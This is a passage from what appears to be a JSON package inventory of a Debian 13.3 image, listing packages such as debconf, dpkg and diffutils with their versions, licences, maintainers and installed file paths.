"/usr/share/debianutils/shells.d/dash", "/usr/share/doc/dash/README.Debian.diet", "/usr/share/doc/dash/README.source", "/usr/share/doc/dash/changelog.Debian.gz", "/usr/share/doc/dash/changelog.gz", "/usr/share/doc/dash/copyright", "/usr/share/lintian/overrides/dash", "/usr/share/man/man1/dash.1.gz", "/usr/share/menu/dash" ], "AnalyzedBy": "dpkg" }, { "ID": "debconf@1.5.91", "Name": "debconf", "Identifier": { "PURL": "pkg:deb/debian/debconf@1.5.91?arch=all\u0026distro=debian-13.3", "UID": "f7c8b7ba83ed5cfe" }, "Version": "1.5.91", "Arch": "all", "SrcName": "debconf", "SrcVersion": "1.5.91", "Licenses": [ "BSD-2-Clause" ], "Maintainer": "Debconf Developers \u003cdebconf-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/debconf", "/usr/bin/debconf-apt-progress", "/usr/bin/debconf-communicate", "/usr/bin/debconf-copydb", "/usr/bin/debconf-escape", "/usr/bin/debconf-set-selections", "/usr/bin/debconf-show", "/usr/sbin/dpkg-preconfigure", "/usr/sbin/dpkg-reconfigure", "/usr/share/bash-completion/completions/debconf", "/usr/share/debconf/confmodule", "/usr/share/debconf/confmodule.sh", "/usr/share/debconf/debconf.conf", "/usr/share/debconf/fix_db.pl", "/usr/share/debconf/frontend", "/usr/share/doc/debconf/README.Debian", "/usr/share/doc/debconf/changelog.gz", "/usr/share/doc/debconf/copyright", "/usr/share/lintian/overrides/debconf", "/usr/share/man/man1/debconf-apt-progress.1.gz", "/usr/share/man/man1/debconf-communicate.1.gz", "/usr/share/man/man1/debconf-copydb.1.gz", "/usr/share/man/man1/debconf-escape.1.gz", "/usr/share/man/man1/debconf-set-selections.1.gz", "/usr/share/man/man1/debconf-show.1.gz", "/usr/share/man/man1/debconf.1.gz", "/usr/share/man/man8/dpkg-preconfigure.8.gz", "/usr/share/man/man8/dpkg-reconfigure.8.gz", "/usr/share/perl5/Debconf/AutoSelect.pm", "/usr/share/perl5/Debconf/Base.pm", "/usr/share/perl5/Debconf/Client/ConfModule.pm", "/usr/share/perl5/Debconf/ConfModule.pm", "/usr/share/perl5/Debconf/Config.pm", "/usr/share/perl5/Debconf/Db.pm", "/usr/share/perl5/Debconf/DbDriver.pm", "/usr/share/perl5/Debconf/DbDriver/Backup.pm", "/usr/share/perl5/Debconf/DbDriver/Cache.pm", "/usr/share/perl5/Debconf/DbDriver/Copy.pm", "/usr/share/perl5/Debconf/DbDriver/Debug.pm", "/usr/share/perl5/Debconf/DbDriver/DirTree.pm", "/usr/share/perl5/Debconf/DbDriver/Directory.pm", "/usr/share/perl5/Debconf/DbDriver/File.pm", "/usr/share/perl5/Debconf/DbDriver/LDAP.pm", "/usr/share/perl5/Debconf/DbDriver/PackageDir.pm", "/usr/share/perl5/Debconf/DbDriver/Pipe.pm", "/usr/share/perl5/Debconf/DbDriver/Stack.pm", "/usr/share/perl5/Debconf/Element.pm", "/usr/share/perl5/Debconf/Element/Dialog/Boolean.pm", "/usr/share/perl5/Debconf/Element/Dialog/Error.pm", "/usr/share/perl5/Debconf/Element/Dialog/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Dialog/Note.pm", "/usr/share/perl5/Debconf/Element/Dialog/Password.pm", "/usr/share/perl5/Debconf/Element/Dialog/Progress.pm", "/usr/share/perl5/Debconf/Element/Dialog/Select.pm", "/usr/share/perl5/Debconf/Element/Dialog/String.pm", "/usr/share/perl5/Debconf/Element/Dialog/Text.pm", "/usr/share/perl5/Debconf/Element/Editor/Boolean.pm", "/usr/share/perl5/Debconf/Element/Editor/Error.pm", "/usr/share/perl5/Debconf/Element/Editor/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Editor/Note.pm", "/usr/share/perl5/Debconf/Element/Editor/Password.pm", "/usr/share/perl5/Debconf/Element/Editor/Progress.pm", "/usr/share/perl5/Debconf/Element/Editor/Select.pm", "/usr/share/perl5/Debconf/Element/Editor/String.pm", "/usr/share/perl5/Debconf/Element/Editor/Text.pm", "/usr/share/perl5/Debconf/Element/Gnome.pm", "/usr/share/perl5/Debconf/Element/Gnome/Boolean.pm", "/usr/share/perl5/Debconf/Element/Gnome/Error.pm", "/usr/share/perl5/Debconf/Element/Gnome/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Gnome/Note.pm", "/usr/share/perl5/Debconf/Element/Gnome/Password.pm", "/usr/share/perl5/Debconf/Element/Gnome/Progress.pm", "/usr/share/perl5/Debconf/Element/Gnome/Select.pm", "/usr/share/perl5/Debconf/Element/Gnome/String.pm", "/usr/share/perl5/Debconf/Element/Gnome/Text.pm", "/usr/share/perl5/Debconf/Element/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Noninteractive.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Boolean.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Error.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Note.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Password.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Progress.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Select.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/String.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Text.pm", "/usr/share/perl5/Debconf/Element/Select.pm", "/usr/share/perl5/Debconf/Element/Teletype/Boolean.pm", "/usr/share/perl5/Debconf/Element/Teletype/Error.pm", "/usr/share/perl5/Debconf/Element/Teletype/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Teletype/Note.pm", "/usr/share/perl5/Debconf/Element/Teletype/Password.pm", "/usr/share/perl5/Debconf/Element/Teletype/Progress.pm", "/usr/share/perl5/Debconf/Element/Teletype/Select.pm", "/usr/share/perl5/Debconf/Element/Teletype/String.pm", "/usr/share/perl5/Debconf/Element/Teletype/Text.pm", "/usr/share/perl5/Debconf/Element/Web/Boolean.pm", "/usr/share/perl5/Debconf/Element/Web/Error.pm", "/usr/share/perl5/Debconf/Element/Web/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Web/Note.pm", "/usr/share/perl5/Debconf/Element/Web/Password.pm", "/usr/share/perl5/Debconf/Element/Web/Progress.pm", "/usr/share/perl5/Debconf/Element/Web/Select.pm", "/usr/share/perl5/Debconf/Element/Web/String.pm", "/usr/share/perl5/Debconf/Element/Web/Text.pm", "/usr/share/perl5/Debconf/Encoding.pm", "/usr/share/perl5/Debconf/Format.pm", "/usr/share/perl5/Debconf/Format/822.pm", "/usr/share/perl5/Debconf/FrontEnd.pm", "/usr/share/perl5/Debconf/FrontEnd/Dialog.pm", "/usr/share/perl5/Debconf/FrontEnd/Editor.pm", "/usr/share/perl5/Debconf/FrontEnd/Gnome.pm", "/usr/share/perl5/Debconf/FrontEnd/Kde.pm", "/usr/share/perl5/Debconf/FrontEnd/Noninteractive.pm", "/usr/share/perl5/Debconf/FrontEnd/Passthrough.pm", "/usr/share/perl5/Debconf/FrontEnd/Readline.pm", "/usr/share/perl5/Debconf/FrontEnd/ScreenSize.pm", "/usr/share/perl5/Debconf/FrontEnd/Teletype.pm", "/usr/share/perl5/Debconf/FrontEnd/Text.pm", "/usr/share/perl5/Debconf/FrontEnd/Web.pm", "/usr/share/perl5/Debconf/Gettext.pm", "/usr/share/perl5/Debconf/Iterator.pm", "/usr/share/perl5/Debconf/Log.pm", "/usr/share/perl5/Debconf/Path.pm", "/usr/share/perl5/Debconf/Priority.pm", "/usr/share/perl5/Debconf/Question.pm", "/usr/share/perl5/Debconf/Template.pm", "/usr/share/perl5/Debconf/Template/Transient.pm", "/usr/share/perl5/Debconf/TmpFile.pm", "/usr/share/perl5/Debian/DebConf/Client/ConfModule.pm", "/usr/share/pixmaps/debian-logo.png" ], "AnalyzedBy": "dpkg" }, { "ID": "debian-archive-keyring@2025.1", "Name": "debian-archive-keyring", "Identifier": { "PURL": "pkg:deb/debian/debian-archive-keyring@2025.1?arch=all\u0026distro=debian-13.3", "UID": "a22d861380b1187c" }, "Version": "2025.1", "Arch": "all", "SrcName": "debian-archive-keyring", "SrcVersion": "2025.1", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Debian Release Team \u003cpackages@release.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/share/doc/debian-archive-keyring/NEWS.Debian.gz", "/usr/share/doc/debian-archive-keyring/README", "/usr/share/doc/debian-archive-keyring/changelog.gz", "/usr/share/doc/debian-archive-keyring/copyright", "/usr/share/keyrings/debian-archive-bookworm-automatic.pgp", "/usr/share/keyrings/debian-archive-bookworm-security-automatic.pgp", "/usr/share/keyrings/debian-archive-bookworm-stable.pgp", "/usr/share/keyrings/debian-archive-bullseye-automatic.pgp", "/usr/share/keyrings/debian-archive-bullseye-security-automatic.pgp", "/usr/share/keyrings/debian-archive-bullseye-stable.pgp", "/usr/share/keyrings/debian-archive-keyring.pgp", "/usr/share/keyrings/debian-archive-removed-keys.pgp", "/usr/share/keyrings/debian-archive-trixie-automatic.pgp", "/usr/share/keyrings/debian-archive-trixie-security-automatic.pgp", "/usr/share/keyrings/debian-archive-trixie-stable.pgp" ], "AnalyzedBy": "dpkg" }, { "ID": "debianutils@5.23.2", "Name": "debianutils", "Identifier": { "PURL": "pkg:deb/debian/debianutils@5.23.2?arch=amd64\u0026distro=debian-13.3", "UID": "3c5d0b66afafddbb" }, "Version": "5.23.2", "Arch": "amd64", "SrcName": "debianutils", "SrcVersion": "5.23.2", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "public-domain", "SMAIL-GPL" ], "Maintainer": "Ileana Dumitrescu \u003cileanadumitrescu95@gmail.com\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/ischroot", "/usr/bin/run-parts", "/usr/bin/savelog", "/usr/bin/tempfile", "/usr/bin/which.debianutils", "/usr/sbin/add-shell", "/usr/sbin/installkernel", "/usr/sbin/remove-shell", "/usr/sbin/update-shells", "/usr/share/debianutils/shells", "/usr/share/doc/debianutils/README.shells", "/usr/share/doc/debianutils/changelog.gz", "/usr/share/doc/debianutils/copyright", "/usr/share/man/de/man1/which.debianutils.1.gz", "/usr/share/man/de/man8/add-shell.8.gz", "/usr/share/man/de/man8/installkernel.8.gz", "/usr/share/man/de/man8/remove-shell.8.gz", "/usr/share/man/de/man8/run-parts.8.gz", "/usr/share/man/de/man8/savelog.8.gz", "/usr/share/man/es/man1/which.debianutils.1.gz", "/usr/share/man/es/man8/add-shell.8.gz", "/usr/share/man/es/man8/installkernel.8.gz", "/usr/share/man/es/man8/remove-shell.8.gz", "/usr/share/man/es/man8/run-parts.8.gz", "/usr/share/man/es/man8/savelog.8.gz", "/usr/share/man/fr/man1/which.debianutils.1.gz", "/usr/share/man/fr/man8/add-shell.8.gz", "/usr/share/man/fr/man8/installkernel.8.gz", "/usr/share/man/fr/man8/remove-shell.8.gz", "/usr/share/man/fr/man8/run-parts.8.gz", "/usr/share/man/fr/man8/savelog.8.gz", "/usr/share/man/it/man1/which.debianutils.1.gz", "/usr/share/man/it/man8/add-shell.8.gz", "/usr/share/man/it/man8/installkernel.8.gz", "/usr/share/man/it/man8/remove-shell.8.gz", "/usr/share/man/it/man8/run-parts.8.gz", "/usr/share/man/it/man8/savelog.8.gz", "/usr/share/man/ja/man1/which.debianutils.1.gz", "/usr/share/man/ja/man8/add-shell.8.gz", "/usr/share/man/ja/man8/installkernel.8.gz", "/usr/share/man/ja/man8/remove-shell.8.gz", "/usr/share/man/ja/man8/run-parts.8.gz", "/usr/share/man/ja/man8/savelog.8.gz", "/usr/share/man/man1/ischroot.1.gz", "/usr/share/man/man1/tempfile.1.gz", "/usr/share/man/man1/which.debianutils.1.gz", "/usr/share/man/man8/add-shell.8.gz", "/usr/share/man/man8/installkernel.8.gz", "/usr/share/man/man8/remove-shell.8.gz", "/usr/share/man/man8/run-parts.8.gz", "/usr/share/man/man8/savelog.8.gz", "/usr/share/man/man8/update-shells.8.gz", "/usr/share/man/pl/man1/which.debianutils.1.gz", "/usr/share/man/pl/man8/add-shell.8.gz", "/usr/share/man/pl/man8/installkernel.8.gz", "/usr/share/man/pl/man8/remove-shell.8.gz", "/usr/share/man/pl/man8/run-parts.8.gz", "/usr/share/man/pl/man8/savelog.8.gz", "/usr/share/man/pt/man1/which.debianutils.1.gz", "/usr/share/man/pt/man8/add-shell.8.gz", "/usr/share/man/pt/man8/installkernel.8.gz", "/usr/share/man/pt/man8/remove-shell.8.gz", "/usr/share/man/pt/man8/run-parts.8.gz", "/usr/share/man/pt/man8/savelog.8.gz", "/usr/share/man/sl/man1/which.debianutils.1.gz", "/usr/share/man/sl/man8/add-shell.8.gz", "/usr/share/man/sl/man8/installkernel.8.gz", "/usr/share/man/sl/man8/remove-shell.8.gz", "/usr/share/man/sl/man8/run-parts.8.gz", "/usr/share/man/sl/man8/savelog.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "diffutils@1:3.10-4", "Name": "diffutils", "Identifier": { "PURL": "pkg:deb/debian/diffutils@3.10-4?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "852f693a78aaa149" }, "Version": "3.10", "Release": "4", "Epoch": 1, "Arch": "amd64", "SrcName": "diffutils", "SrcVersion": "3.10", "SrcRelease": "4", "SrcEpoch": 1, "Licenses": [ "GPL-3.0-or-later", "FSFULLR", "LGPL-2.1-or-later", "GPL-3.0-with-autoconf-exception+", "GPL-3.0-only", "GPL-3+ with texinfo exception", "LGPL-2.0-or-later", "GPL-2.0-or-later", "X11", "FSFAP", "GFDL-1.3-no-invariants-only", "LGPL-3.0-or-later", "LGPL-3.0-only", "public-domain", "LGPL-2.0-only", "LGPL-2.1-only", "GPL-2.0-only", "GFDL-1.3-only" ], "Maintainer": "Santiago Vila \u003csanvila@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/cmp", "/usr/bin/diff", "/usr/bin/diff3", "/usr/bin/sdiff", "/usr/share/doc/diffutils/NEWS.gz", "/usr/share/doc/diffutils/changelog.Debian.gz", "/usr/share/doc/diffutils/changelog.gz", "/usr/share/doc/diffutils/copyright", "/usr/share/info/diffutils.info.gz", "/usr/share/locale/bg/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ca/LC_MESSAGES/diffutils.mo", "/usr/share/locale/cs/LC_MESSAGES/diffutils.mo", "/usr/share/locale/da/LC_MESSAGES/diffutils.mo", "/usr/share/locale/de/LC_MESSAGES/diffutils.mo", "/usr/share/locale/el/LC_MESSAGES/diffutils.mo", "/usr/share/locale/eo/LC_MESSAGES/diffutils.mo", "/usr/share/locale/es/LC_MESSAGES/diffutils.mo", "/usr/share/locale/fi/LC_MESSAGES/diffutils.mo", "/usr/share/locale/fr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ga/LC_MESSAGES/diffutils.mo", "/usr/share/locale/gl/LC_MESSAGES/diffutils.mo", "/usr/share/locale/he/LC_MESSAGES/diffutils.mo", "/usr/share/locale/hr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/hu/LC_MESSAGES/diffutils.mo", "/usr/share/locale/id/LC_MESSAGES/diffutils.mo", "/usr/share/locale/it/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ja/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ka/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ko/LC_MESSAGES/diffutils.mo", "/usr/share/locale/lv/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ms/LC_MESSAGES/diffutils.mo", "/usr/share/locale/nb/LC_MESSAGES/diffutils.mo", "/usr/share/locale/nl/LC_MESSAGES/diffutils.mo", "/usr/share/locale/pl/LC_MESSAGES/diffutils.mo", "/usr/share/locale/pt/LC_MESSAGES/diffutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ro/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ru/LC_MESSAGES/diffutils.mo", "/usr/share/locale/sr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/sv/LC_MESSAGES/diffutils.mo", "/usr/share/locale/tr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/uk/LC_MESSAGES/diffutils.mo", "/usr/share/locale/vi/LC_MESSAGES/diffutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/diffutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/diffutils.mo", "/usr/share/man/man1/cmp.1.gz", "/usr/share/man/man1/diff.1.gz", "/usr/share/man/man1/diff3.1.gz", "/usr/share/man/man1/sdiff.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "dpkg@1.22.22", "Name": "dpkg", "Identifier": { "PURL": "pkg:deb/debian/dpkg@1.22.22?arch=amd64\u0026distro=debian-13.3", "UID": "bb6475f174601a5" }, "Version": "1.22.22", "Arch": "amd64", "SrcName": "dpkg", "SrcVersion": "1.22.22", "Licenses": [ "GPL-2.0-or-later", "public-domain-s-s-d", "GPL-2.0-only" ], "Maintainer": "Dpkg Developers \u003cdebian-dpkg@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "tar@1.35+dfsg-3.1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/dpkg", "/usr/bin/dpkg-deb", "/usr/bin/dpkg-divert", "/usr/bin/dpkg-maintscript-helper", "/usr/bin/dpkg-query", "/usr/bin/dpkg-realpath", "/usr/bin/dpkg-split", "/usr/bin/dpkg-statoverride", "/usr/bin/dpkg-trigger", "/usr/bin/update-alternatives", "/usr/lib/systemd/system/dpkg-db-backup.service", "/usr/lib/systemd/system/dpkg-db-backup.timer", "/usr/libexec/dpkg/dpkg-db-backup", "/usr/libexec/dpkg/dpkg-db-keeper", "/usr/sbin/start-stop-daemon", "/usr/share/doc/dpkg/AUTHORS", "/usr/share/doc/dpkg/README.api", "/usr/share/doc/dpkg/README.bug-usertags.gz", "/usr/share/doc/dpkg/README.feature-removal-schedule.gz", "/usr/share/doc/dpkg/THANKS.gz", "/usr/share/doc/dpkg/changelog.gz", "/usr/share/doc/dpkg/copyright", "/usr/share/dpkg/abitable", "/usr/share/dpkg/cputable", "/usr/share/dpkg/ostable", "/usr/share/dpkg/sh/dpkg-error.sh", "/usr/share/dpkg/tupletable", "/usr/share/lintian/overrides/dpkg", "/usr/share/lintian/profiles/dpkg/main.profile", "/usr/share/locale/ast/LC_MESSAGES/dpkg.mo", "/usr/share/locale/bs/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ca/LC_MESSAGES/dpkg.mo", "/usr/share/locale/cs/LC_MESSAGES/dpkg.mo", "/usr/share/locale/da/LC_MESSAGES/dpkg.mo", "/usr/share/locale/de/LC_MESSAGES/dpkg.mo", "/usr/share/locale/dz/LC_MESSAGES/dpkg.mo", "/usr/share/locale/el/LC_MESSAGES/dpkg.mo", "/usr/share/locale/eo/LC_MESSAGES/dpkg.mo", "/usr/share/locale/es/LC_MESSAGES/dpkg.mo", "/usr/share/locale/et/LC_MESSAGES/dpkg.mo", "/usr/share/locale/eu/LC_MESSAGES/dpkg.mo", "/usr/share/locale/fr/LC_MESSAGES/dpkg.mo", "/usr/share/locale/gl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/hu/LC_MESSAGES/dpkg.mo", "/usr/share/locale/id/LC_MESSAGES/dpkg.mo", "/usr/share/locale/it/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ja/LC_MESSAGES/dpkg.mo", "/usr/share/locale/km/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ko/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ku/LC_MESSAGES/dpkg.mo", "/usr/share/locale/lt/LC_MESSAGES/dpkg.mo", "/usr/share/locale/mr/LC_MESSAGES/dpkg.mo", "/usr/share/locale/nb/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ne/LC_MESSAGES/dpkg.mo", "/usr/share/locale/nl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/nn/LC_MESSAGES/dpkg.mo", "/usr/share/locale/oc/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pa/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pt/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ro/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ru/LC_MESSAGES/dpkg.mo", "/usr/share/locale/sk/LC_MESSAGES/dpkg.mo", "/usr/share/locale/sv/LC_MESSAGES/dpkg.mo", "/usr/share/locale/th/LC_MESSAGES/dpkg.mo", "/usr/share/locale/tl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/tr/LC_MESSAGES/dpkg.mo", "/usr/share/locale/vi/LC_MESSAGES/dpkg.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/dpkg.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/dpkg.mo", "/usr/share/man/de/man1/dpkg-deb.1.gz", "/usr/share/man/de/man1/dpkg-divert.1.gz", "/usr/share/man/de/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/de/man1/dpkg-query.1.gz", "/usr/share/man/de/man1/dpkg-realpath.1.gz", "/usr/share/man/de/man1/dpkg-split.1.gz", "/usr/share/man/de/man1/dpkg-statoverride.1.gz", "/usr/share/man/de/man1/dpkg-trigger.1.gz", "/usr/share/man/de/man1/dpkg.1.gz", "/usr/share/man/de/man1/update-alternatives.1.gz", "/usr/share/man/de/man5/dpkg.cfg.5.gz", "/usr/share/man/de/man8/start-stop-daemon.8.gz", "/usr/share/man/es/man5/dpkg.cfg.5.gz", "/usr/share/man/fr/man1/dpkg-divert.1.gz", "/usr/share/man/fr/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/fr/man1/dpkg-query.1.gz", "/usr/share/man/fr/man1/dpkg-realpath.1.gz", "/usr/share/man/fr/man1/dpkg-split.1.gz", "/usr/share/man/fr/man1/dpkg-trigger.1.gz", "/usr/share/man/fr/man1/update-alternatives.1.gz", "/usr/share/man/fr/man5/dpkg.cfg.5.gz", "/usr/share/man/fr/man8/start-stop-daemon.8.gz", "/usr/share/man/it/man5/dpkg.cfg.5.gz", "/usr/share/man/ja/man5/dpkg.cfg.5.gz", "/usr/share/man/man1/dpkg-deb.1.gz", "/usr/share/man/man1/dpkg-divert.1.gz", "/usr/share/man/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/man1/dpkg-query.1.gz", "/usr/share/man/man1/dpkg-realpath.1.gz", "/usr/share/man/man1/dpkg-split.1.gz", "/usr/share/man/man1/dpkg-statoverride.1.gz", "/usr/share/man/man1/dpkg-trigger.1.gz", "/usr/share/man/man1/dpkg.1.gz", "/usr/share/man/man1/update-alternatives.1.gz", "/usr/share/man/man5/dpkg.cfg.5.gz", "/usr/share/man/man8/start-stop-daemon.8.gz", "/usr/share/man/nl/man1/dpkg-deb.1.gz", "/usr/share/man/nl/man1/dpkg-divert.1.gz", "/usr/share/man/nl/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/nl/man1/dpkg-query.1.gz", "/usr/share/man/nl/man1/dpkg-realpath.1.gz", "/usr/share/man/nl/man1/dpkg-split.1.gz", "/usr/share/man/nl/man1/dpkg-statoverride.1.gz", "/usr/share/man/nl/man1/dpkg-trigger.1.gz", "/usr/share/man/nl/man1/dpkg.1.gz", "/usr/share/man/nl/man1/update-alternatives.1.gz", "/usr/share/man/nl/man5/dpkg.cfg.5.gz", "/usr/share/man/nl/man8/start-stop-daemon.8.gz", "/usr/share/man/pl/man5/dpkg.cfg.5.gz", "/usr/share/man/pt/man1/dpkg-deb.1.gz", "/usr/share/man/pt/man1/dpkg-divert.1.gz", "/usr/share/man/pt/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/pt/man1/dpkg-query.1.gz", "/usr/share/man/pt/man1/dpkg-realpath.1.gz", "/usr/share/man/pt/man1/dpkg-split.1.gz", "/usr/share/man/pt/man1/dpkg-statoverride.1.gz", "/usr/share/man/pt/man1/dpkg-trigger.1.gz", "/usr/share/man/pt/man1/dpkg.1.gz", "/usr/share/man/pt/man1/update-alternatives.1.gz", "/usr/share/man/pt/man5/dpkg.cfg.5.gz", "/usr/share/man/pt/man8/start-stop-daemon.8.gz", "/usr/share/man/sv/man1/dpkg-deb.1.gz", "/usr/share/man/sv/man1/dpkg-divert.1.gz", "/usr/share/man/sv/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/sv/man1/dpkg-query.1.gz", "/usr/share/man/sv/man1/dpkg-realpath.1.gz", "/usr/share/man/sv/man1/dpkg-split.1.gz", "/usr/share/man/sv/man1/dpkg-statoverride.1.gz", "/usr/share/man/sv/man1/dpkg-trigger.1.gz", "/usr/share/man/sv/man1/dpkg.1.gz", "/usr/share/man/sv/man1/update-alternatives.1.gz", "/usr/share/man/sv/man5/dpkg.cfg.5.gz", "/usr/share/man/sv/man8/start-stop-daemon.8.gz", "/usr/share/polkit-1/actions/org.dpkg.pkexec.update-alternatives.policy" ], "AnalyzedBy": "dpkg" }, { "ID": "dpkg-dev@1.22.22", "Name": "dpkg-dev", "Identifier": { "PURL": "pkg:deb/debian/dpkg-dev@1.22.22?arch=all\u0026distro=debian-13.3", "UID": "cc2de4124544f474" }, "Version": "1.22.22", "Arch": "all", "SrcName": "dpkg", "SrcVersion": "1.22.22", "Licenses": [ "GPL-2.0-or-later", "public-domain-s-s-d", "GPL-2.0-only" ], "Maintainer": "Dpkg Developers \u003cdebian-dpkg@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils@2.44-3", "bzip2@1.0.8-6", "libdpkg-perl@1.22.22", "make@4.4.1-2", "patch@2.8-2", "tar@1.35+dfsg-3.1", "xz-utils@5.8.1-1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/dpkg-architecture", "/usr/bin/dpkg-buildapi", "/usr/bin/dpkg-buildflags", "/usr/bin/dpkg-buildpackage", "/usr/bin/dpkg-buildtree", "/usr/bin/dpkg-checkbuilddeps", "/usr/bin/dpkg-distaddfile", "/usr/bin/dpkg-genbuildinfo", "/usr/bin/dpkg-genchanges", "/usr/bin/dpkg-gencontrol", "/usr/bin/dpkg-gensymbols", "/usr/bin/dpkg-mergechangelogs", "/usr/bin/dpkg-name", "/usr/bin/dpkg-parsechangelog", "/usr/bin/dpkg-scanpackages", "/usr/bin/dpkg-scansources", "/usr/bin/dpkg-shlibdeps", "/usr/bin/dpkg-source", "/usr/bin/dpkg-vendor", "/usr/share/doc/dpkg-dev/NEWS.Debian.gz", "/usr/share/doc/dpkg-dev/changelog.gz", "/usr/share/doc/dpkg-dev/copyright", "/usr/share/doc/dpkg/spec/build-driver.txt", "/usr/share/doc/dpkg/spec/frontend-api.txt", "/usr/share/doc/dpkg/spec/protected-field.txt", "/usr/share/doc/dpkg/spec/rootless-builds.txt", "/usr/share/doc/dpkg/spec/triggers.txt", "/usr/share/dpkg/architecture.mk", "/usr/share/dpkg/buildapi.mk", "/usr/share/dpkg/buildflags.mk", "/usr/share/dpkg/buildopts.mk", "/usr/share/dpkg/buildtools.mk", "/usr/share/dpkg/default.mk", "/usr/share/dpkg/pkg-info.mk", "/usr/share/dpkg/vendor.mk", "/usr/share/man/de/man1/dpkg-architecture.1.gz", "/usr/share/man/de/man1/dpkg-buildapi.1.gz", "/usr/share/man/de/man1/dpkg-buildflags.1.gz", "/usr/share/man/de/man1/dpkg-buildpackage.1.gz", "/usr/share/man/de/man1/dpkg-buildtree.1.gz", "/usr/share/man/de/man1/dpkg-checkbuilddeps.1.gz", "/usr/share/man/de/man1/dpkg-distaddfile.1.gz", "/usr/share/man/de/man1/dpkg-genbuildinfo.1.gz", "/usr/share/man/de/man1/dpkg-genchanges.1.gz", "/usr/share/man/de/man1/dpkg-gencontrol.1.gz", "/usr/share/man/de/man1/dpkg-gensymbols.1.gz", "/usr/share/man/de/man1/dpkg-mergechangelogs.1.gz", "/usr/share/man/de/man1/dpkg-name.1.gz", "/usr/share/man/de/man1/dpkg-parsechangelog.1.gz", "/usr/share/man/de/man1/dpkg-scanpackages.1.gz", "/usr/share/man/de/man1/dpkg-scansources.1.gz", "/usr/share/man/de/man1/dpkg-shlibdeps.1.gz", "/usr/share/man/de/man1/dpkg-source.1.gz", "/usr/share/man/de/man1/dpkg-vendor.1.gz", "/usr/share/man/de/man5/deb-buildinfo.5.gz", "/usr/share/man/de/man5/deb-changelog.5.gz", "/usr/share/man/de/man5/deb-changes.5.gz", "/usr/share/man/de/man5/deb-conffiles.5.gz", "/usr/share/man/de/man5/deb-control.5.gz", "/usr/share/man/de/man5/deb-extra-override.5.gz", "/usr/share/man/de/man5/deb-md5sums.5.gz", "/usr/share/man/de/man5/deb-old.5.gz", "/usr/share/man/de/man5/deb-origin.5.gz", "/usr/share/man/de/man5/deb-override.5.gz", "/usr/share/man/de/man5/deb-postinst.5.gz", "/usr/share/man/de/man5/deb-postrm.5.gz", 